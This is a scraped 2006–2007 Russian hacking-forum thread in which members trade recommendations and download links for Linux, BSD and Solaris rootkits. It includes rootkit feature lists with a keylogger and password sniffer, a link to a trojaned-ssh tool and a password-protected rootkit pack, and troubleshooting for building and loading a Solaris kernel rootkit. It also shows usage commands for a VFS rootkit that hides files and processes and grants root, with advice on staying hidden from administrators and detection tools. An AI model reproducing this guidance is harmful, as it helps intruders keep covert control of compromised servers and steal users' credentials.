Форум АНТИЧАТ - Linux Руткиты

Страница 1 из 2

Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)

- - Linux Руткиты (https://forum.antichat.xyz/showthread.php?t=21939)

Nova	24.07.2006 17:54

Linux Руткиты

У кого нибудь есть что нить проверенное чтобы не запароть ядро а наверняка сработал ???

Пока склоняюсь к adore-ng 0.53 но боюсь ядро испортит....

P.s
Извеняюсь если не туда запостил... в общие разделы не хотелось....

+toxa+

24.07.2006 22:43

IntoXonia - LKM rootkit for Linux Kernel 2.6.x

Код:

 (*) скрытие файлов/каталогов

 (*) скрытие процессов

 (*) имитация полного удаления файлов

 (*) перенаправление обращения к файлам

 (*) перенаправление входа в директории

 (*) запрет на обращение к файлам

 (*) запрет на вход в каталог

 (*) добавление фиктивной строки в файл

 (*) скрытие строки из файла

 (*) замена строк в файле при чтении

 (*) защита файла от удаления

 (*) сохранение файла при удалении

 (*) защита процессов

 (*) создание алиасов для команд

 (*) перенаправление запуска бинарников

 (*) запрет на запуск программ

 (*) запись всех нажатых клавиш (кейлоггер)

 (*) сниффер POP3/FTP паролей

 (*) сохранение настроек в файл

 (*) загрузка настроек из файла

 (*) получение прав root

 (*) смена uid/gid процесса

 (*) защищенное удаление файлов

 (*) настройка с помощью фиктивного бинарника

 (*) защита всех настроек паролем

Отечественная разработка так сказать...

Закачка ТУТА

SladerNon

12.10.2006 21:08

+toxa+

Давно хотел спросить, откуда у тебя эта ссылка?. :). Её через сайт не найдешь вроде..

+toxa+

12.10.2006 21:17

SladerNon
http://damagelab.org/index.php?showtopic=5633&hl=intoxonia
http://damagelab.org/index.php?showtopic=9420&hl=intoxonia

http://web-hack.ru/archive/news.php?go=1218
http://web-hack.ru/archive/news.php?go=1129

И как ты не разглядел...
http://satanic.easycoding.org/release.html

naqnaq

22.10.2006 05:04

Зачем 0.53, когда давно уже есть 0.54

Код:

http://stealth.openwall.net/rootkits/adore-ng-0.54.tgz

Неуверен в стабильной работы с ядром, как вариант, - троянь ssh

Код:

http://www.gotfault.net/research/tool/ssheater/ssheater-1.1.tar.gz

Alexsize

29.10.2006 18:53

Руткиты

Народ напишите кто каким руткитом пользуется!
У меня не всегда работает shv5. Кто еще че посоветует?

+toxa+

29.10.2006 19:36

IntoXonia - LKM rootkit for Linux Kernel 2.6.x

https://forum.antichat.ru/thread21939.html

Dracula4ever

29.10.2006 19:42

t0rnkit

Alexsize

30.10.2006 22:54

насчет последнего мона поподробнее. Я сам юзаю shV5, но он не всегда работает, а
IntoXonia - LKM rootkit for Linux Kernel 2.6.x только под 2.6, я так понял. буду ждать!!

Nekt	04.11.2006 01:47

А кто-нить скомпилируйте его пожалуйста, с меня +.

Alexsize

10.11.2006 21:37

Все таки shV5 рулит! Кстати, если я не ошибаюсь и под Free он тоже идет:)

Alexsize

16.12.2006 12:35

У тебя нету shV5? Тогда мы идем к Вам! Пиши: 652041.

cap_nemo

14.02.2007 17:33

А есть ли какие-нибудь rootkit-ы для Solaris?

ShadOS

14.02.2007 17:51

Ребятки, ща я вам всё разьясню =)
shv5 "компилить" не надо, он устанавливается. Является редкостным shit, т.к. палится любой пассивной IDS типа chkrootkit и rkhunter. Представляет собой набор протрояненных бинарников системных утилит linux, посему любая утилита контроля целостности палит его по изменённым контрольным суммам md5.
Установка предельно проста ./setup password port.
После установки в папке /usr/include вы найдете файлы file.h, log.h, proc.h, hosts.h - в которые и забиваются имена/номера файлов/портов и т.д.
IntoXonia-ng LKM RootKit от нашего мембера _4epen надо искать на http://hellknights.void.ru
Среди возможностей стоит отметить:
-скрытие файлов
-скрытие процессов
-редирект обращения к файлам
-редирект исполнения программ
-имитация удаления файла
-запрет на обращение к файлам
-запрет на запуск программ
-скрытие вывода команды netstat
-переход в режим суперпользователя
Работает, действительно, только для ядер, старше 2.6.x

Под старые ветки FreeBSD можно попробовать Adore-BSD. Лежит здесь:
http://packetstormsecurity.org/groups/teso/adorebsd-0.34.tar.gz
Для *BSD сейчас вообще что-то маловато, но однажды я испытывал fbsd.rootkit. Очень даже работает.

Из последних и наиболее интересных под Linux советую искать следующие:
mood-nt - 2.4.x/2.6.x kernels suckit2-like, но намного лучше.
enyelkm - LKM-руткит, который не модифицирует sys_call_table.
phalanx - self-injecting LKM руткит для 2.6.x kernels.
suckit2 - крутейшй руткит, которым я пользовался раньше, используя какую-то магию с /dev/kmem, прячет всё налету, не использует System.map, реализован без помощи LKM.

Для солярки сейчас популярен SInAR. Не испытывал, о функционале мне известно мало.

Отстали мы от жизни. Если не фейк, то давно уже есть Adore 0.56. За линком стучимся ко мне в асю или ПМ, кому надо - тот поищет в сети или найдёт меня.

Да вообще что-то дубликатов топиков многовато здесь у вас.

Alexsize

16.02.2007 11:36

Насчет руткита IntoXonia-ng LKM RootKit от вашего мембера _4epen могу сказать только одно -сырой. Установиться не смог в системе, а похерил что то, теперь команда ls не выполняеться. Рут не дурак - все прикроет.

Azazel

16.02.2007 14:00

Отсюда видно, что одни называют логвайперы - руткитами, другие - пользуют то что палиться (следовательно не пользуют). А третьи пользуют и хрен когда отпишуться, потому что и дальше хотят пользовать.

Улыбчивая такая темка.

hsi	16.02.2007 15:51

Написать свой непалящийся руткит не так уж сложно - способы-то все известны.
Например, все неплохо описано вот в этой книге.

ShadOS

16.02.2007 20:05

Цитата:

Сообщение от Alexsize

Насчет руткита IntoXonia-ng LKM RootKit от нашего мембера _4epen могу сказать только одно - сырой. Установиться не смог в системе, а похерил что то, теперь команда ls не выполняеться. Рут не дурак - все прикроет.

Простите, НАШЕГО - значит мембера Hell Knights. Что-то ты попутал =)
Сырой - не спорю. Там же ясно написанно 0.1-rc2.А на какое ядро ставил? Если старше 2.6.18 - то не поставишь. Я сейчас новый релиз itx готовлю (развиваю проект с одобрения черепа) - новая версия эту багу уже исправляет. И почему, кстати, ты уверен что ты его не поставил =) Я когда первый раз ставил тоже сильно удивился =) Какие ошибки были - мне очень важно знать. Если можно, конфиг сервера тоже опиши (uname -a, lsmod и т.д побольше инфы).

Цитата:

Сообщение от Azazel

...А третьи пользуют и хрен когда отпишуться, потому что и дальше хотят пользовать.

Я ж отписал, что вышел adore-0.55. Он не палится. Стоит только поискать хорошенько. Кто ищет тот всегда найдёт.
itx _4epen тоже просто так релизил?! Он не палится, юзайте на здоровье. Только README читайте _внимательно_. Кажется, для особо одарённых придётся ещё и ридми подправить.

Цитата:

Сообщение от hsi

Например, все неплохо описано вот в этой книге.

Верно, описанно неплохо. Если ты читал, то мог заметить, что за основу взят всё тот же adore+itx. Кое-где даже строки похожи. Вы комментарии в ItX видели? Это ж открытая книга - бери и пиши свой - нехочу.

andy13

16.02.2007 20:52

Цитата:

shv5 палится любой пассивной IDS типа chkrootkit и rkhunter

sic!

ShadOS, почему itx-ng-0.1-rc2 не скрывает сетевые соединения? так и не удалось понять.
при загрузке еще в логи пишется
kernel: itx: module license 'unspecified' taints kernel
какой руткит сам используешь?

ShadOS

17.02.2007 02:39

>>ShadOS, почему itx-ng-0.1-rc2 не скрывает сетевые >>соединения? так и не удалось понять.
Читаем внимательно readme. Череп всё написал:

Цитата:

... в рутките отсутствует возможность скрытия вывода
статистики netstat. Это все реализуется скрытием отдельных строчек в файле, так что
за недостаток это считать, я думаю, не стоит ;) ...

Однако сие "неудобство" мне тоже не понравилось.
Добавлю в новой версии такой дополнительный функционал сокрытия.

>>при загрузке еще с логи пишется
>>kernel: itx: module license 'unspecified' taints kernel
"с логи" - это как? =) Давай подробную инфу давай о ядре, его конфигурации, версии, о системе и т.д. Обычно такое не встречается, но исправим, если я правильно понял что там случилось.

>>какой руткит сам используешь?
Естественно, ItX-ng

andy13

17.02.2007 18:34

когда происходит insmod itx.ko, то
в syslog пишется вышеприведенная информация.
это было на ядрах 2.6.14.2 и 2.6.16.34
uname -a
2.6.14.2 #1 PREEMPT i686 unknown unknown GNU/Linux,
а на 2.6.15.1 всё ок.
мистика какая-то.
что еще про конфиг ядра написать?

ShadOS

18.02.2007 12:01

Спасибо, уже достаточно.

cap_nemo

19.02.2007 16:55

кто-ниб для Solaris использовал SInAR? а то что-то как-то не хочет собираться, может кто подскажет?

hsi	19.02.2007 17:01

cap_nemo
Напиши версию Solaris, тогда можно будет тебе помочь. (:

cap_nemo

19.02.2007 17:22

1)SunOS 5.10 Generic i386
gcc version 3.4.3

2)SunOS 5.10 Generic sparc
gcc version 3.4.3

еще что-ниб надо?
пробую SInAR-0.3

hsi	19.02.2007 17:29

cap_nemo
Попробуй использовать rootkitSunos - он довольно надежен и в большинстве случаев удачно собирается. В архиве подробный ридми.
_http://www.ciar.org/ttk/tools/trojans/rootkitSunOS.tgz

ShadOS

19.02.2007 17:45

Цитата:

Сообщение от hsi

cap_nemo
Попробуй использовать rootkitSunos

Это же очень старый кит... Пусть лучше отладочные сообщения для SinAR скинет - разберёмся.

hsi	19.02.2007 18:09

ShadOS
Так ведь и у него очень старая солярка.
По собственному опыту - rootkitSunOS довольно надежный руткит.

ShadOS

19.02.2007 18:15

Цитата:

Сообщение от hsi

ShadOS
Так ведь и у него очень старая солярка.
По собственному опыту - rootkitSunOS довольно надежный руткит.

Зачем искать лёгкие пути?! Непохек =) Кроме того ты ошибся в другую сторону. 5.10 - это одна из новейших.
Они по такому принципу именуются:
Solaris 2.6 - начиная с ней sun убрали индекс 2. из названия, получилось:
Solaris 7 = SunOS 5.7, а, например, Solaris 10 = SunOS 5.10.
Новее, кажется, будет только OpenSolaris. Но это другая история.

hsi	19.02.2007 18:49

ShadOS
Точно, я перепутал номерацию версий.
Но все равно руткит должен встать.

cap_nemo

20.02.2007 11:29

Цитата:

Сообщение от hsi

ShadOS
Так ведь и у него очень старая солярка.
По собственному опыту - rootkitSunOS довольно надежный руткит.

не встало

Цитата:

Сообщение от ShadOS

Пусть лучше отладочные сообщения для SinAR скинет - разберёмся

# make
gcc -Wall -D_KERNEL -DSVR4 -DSOL2 -D__i386 -c sinar.c -o sinar.o
sinar.c:75: warning: missing braces around initializer
sinar.c:75: warning: (near initialization for `modlinkage.ml_linkage')
sinar.c: In function `_init':
sinar.c:258: warning: assignment makes pointer from integer without a cast
sinar.c:269: warning: assignment makes pointer from integer without a cast
sinar.c:272: warning: assignment makes pointer from integer without a cast
ld -r sinar.o -o sinar

брал здесь
_http://packetstormsecurity.org/UNIX/penetration/rootkits/SInAR-0.3.tar.bz2

ShadOS

21.02.2007 19:03

А у тебя точно i386? `uname -a` пожалуйста. Я что-то с такой проблемой не столкнулся... вроде всё собралось на i386. Предупреждения вроде не критичны. Покажи что там в строках 70-80 (нужна 75 с предупреждением). Если у тебя больше ничего из отладки не вывелось - значит собрался. Юзай =)

В тему itX-ng: выпустил новую версию (0.2). Подробности у нас на сайте (hellknights.void.ru)

cap_nemo

26.02.2007 11:21

Цитата:

Сообщение от ShadOS

А у тебя точно i386? `uname -a` пожалуйста.
Покажи что там в строках 70-80 (нужна 75 с предупреждением). Если у тебя больше ничего из отладки не вывелось - значит собрался. Юзай =)

#uname -a
SunOS unknown 5.10 Generic_118855-33 i86pc i386 i86pc
#

Цитата:

Сообщение от ShadOS

Покажи что там в строках 70-80 (нужна 75 с предупреждением). Если у тебя больше ничего из отладки не вывелось - значит собрался. Юзай =)

вообщем с 73 по 77:

static struct modlinkage modlinkage = {
MODREV_1,
(void *)&modlmisc, /*75 cтрока*/
NULL
};

# gcc -Wall -D_KERNEL -DSVR4 -DSOL2 -D__i386 -c sinar.c -o sinar.o
sinar.c:75: warning: missing braces around initializer
sinar.c:75: warning: (near initialization for `modlinkage.ml_linkage')
sinar.c: In function `_init':
sinar.c:258: warning: assignment makes pointer from integer without a cast
sinar.c:269: warning: assignment makes pointer from integer without a cast
sinar.c:272: warning: assignment makes pointer from integer without a cast

я как понимаю - собирается модуль ядра, может я его как-то неправильно подгружаю? как это правильно сделать?

ShadOS

28.02.2007 21:23

1) Покажи содержимое /etc/system
2) Загрузка модуля выполняется, например, командой

Код:

modload misc/sinar

Если конечно модуль находится в каталоге /kernel/misc (пространстве имен misc).
Если не получится, покажи

Код:

sysdef | tail -20

Потом

Код:

ls -l /kernel

Если загрузился (проверь), покажи

Код:

modinfo | grep sinar

Выгрузить модуль можно следующим образом:

Код:

modunload -i <id модуля>

id модуля можно узнать из modinfo.

P.S. может топик пора запинить в топ как важный?

cap_nemo

06.03.2007 10:28

Цитата:

Сообщение от ShadOS

1) Покажи содержимое /etc/system
2) Загрузка модуля выполняется, например, командой

Код:

modload misc/sinar

Если конечно модуль находится в каталоге /kernel/misc (пространстве имен misc).
Если не получится, покажи

Код:

sysdef | tail -20

Потом

Код:

ls -l /kernel

не грузится

Код:

#sysdef | tail -20

*

* IPC Messages module is not loaded

*

*

* IPC Semaphores module is not loaded

*

*

* IPC Shared Memory

*

* The IPC Shared Memory module no longer has system-wide limits.

* Please see the "Solaris Tunable Parameters Reference Manual" for

* information on how the old limits map yo to resource controls and 

*the prctl(1) and getrctl(2) manual pages for information on 

*observing the new limits.

*

*

* Time Sharing Scheduler Tunables

*

60              maximum time sharing user priority (TSMAXUPRI)

SYS            system class name (SYS_NAME)

Код:

#ls -l /kernel

total 4038

drwxr-xr-x  2 root  sys            512 Jan 24 14:36 amd64

drwxr-xr-x  3 root  sys            512 Jan 24 14:36 crypto

drwxr-xr-x  3 root  sys            512 Jan 24 14:48 dacf

drwxr-xr-x  3 root  sys           5120 Jan 24 18:10 drv

drwxr-xr-x  3 root  sys            512 Jan 24 14:51 dtrace

drwxr-xr-x  3 root  sys            512 Jan 24 14:36 exec

drwxr-xr-x  3 root  sys            512 Jan 24 14:48 fs

-rwxr-xr-x  1 root  sys        2037864 Nov 10 03:01 genunix

drwxr-xr-x  3 root  sys            512 Jan 24 16:42 ipp

drwxr-xr-x  3 root  sys            512 Jan 24 16:40 kmdb

drwxr-xr-x  3 root  sys            512 Jan 24 14:47 mach

drwxr-xr-x  4 root  sys           1536 Mar  6 09:07 misc

drwxr-xr-x  3 root  sys            512 Jan 24 14:37 sched

drwxr-xr-x  3 root  sys           1024 Jan 24 14:49 strmod

drwxr-xr-x  3 root  sys            512 Jan 24 14:44 sys

ShadOS

06.03.2007 12:32

а модуль в misc скопировал? Пиши всё что пишет система после каждой команды!!! Что modload сказал? И не занимайся оверквотингом - есть очень много ленивых, которые это не будут перечитывать.

Alexsize

06.03.2007 13:09

http://target0.be/dev/code/otakit/ посмотри тож.

ShadOS

06.03.2007 13:41

Цитата:

Сообщение от Alexsize

http://target0.be/dev/code/otakit/ посмотри тож.

Жуткое старьё, которое не будет работать на 2.6.x ядрах (посмотри на экспорт sys_call_table). Такой бекдор модуль пишется в течение 15ти минут.

hsi	17.03.2007 07:38

Нашел пак руткитов.

Цитата:

.:::::::::::::::::::::::::::.
r00tKiT f0r *NiX All in One
.:::::::::::::::::::::::::::.

•••r00tKiT•••
-adore-ng 0.56
-bobkit
-Kernel Guard
-lrk5 [src]
-mood-nt
-Other r00tKiT
-Override Rootkit
-Safebreaker Backdoor
-shV5
-suckit 1.3b
-suckit 2.0 rc2 PRiVATE
-tuxkit 1.0

http://rapidshare.com/files/19083244/nr_ao.rar
Pass: d4rk-r3v-t34m

ShadOS

19.03.2007 20:12

Мембер XND Crew Windex выпустил новую версию руткита, основанного на патчинге VFS под ядра 2.6.x. Функционал самый стандартный: прячет самого себя, файлы, каталоги, процессы.
Использование:

Код:

#insmod wkmr26.ko hidden_files="hacktoolz","hydra","nmap"

все файлы и каталоги, содержащие в названии "hacktoolz","hydra","nmap" будут скрыты.

Затем следует авторизоваться:

$echo > /proc/<KEY>



Спрятать процессы можно следующим образом:

$echo > /proc/givemeroot        стать суперпользователем

$echo > /proc/hide-<PID>        скрыть процесс

$echo > /proc/unhide-<PID> раскрыть прцесс

Как признаётся сам автор, большинство идей было позаимствованно из руткита adore-ng.
Кстати, хорошая статья от самого автора об рутките была в езине HackConnect #1. Рекомендую всем ознакомиться.

Время: 01:28

Страница 1 из 2

Показывать 40 сообщений этой темы на одной странице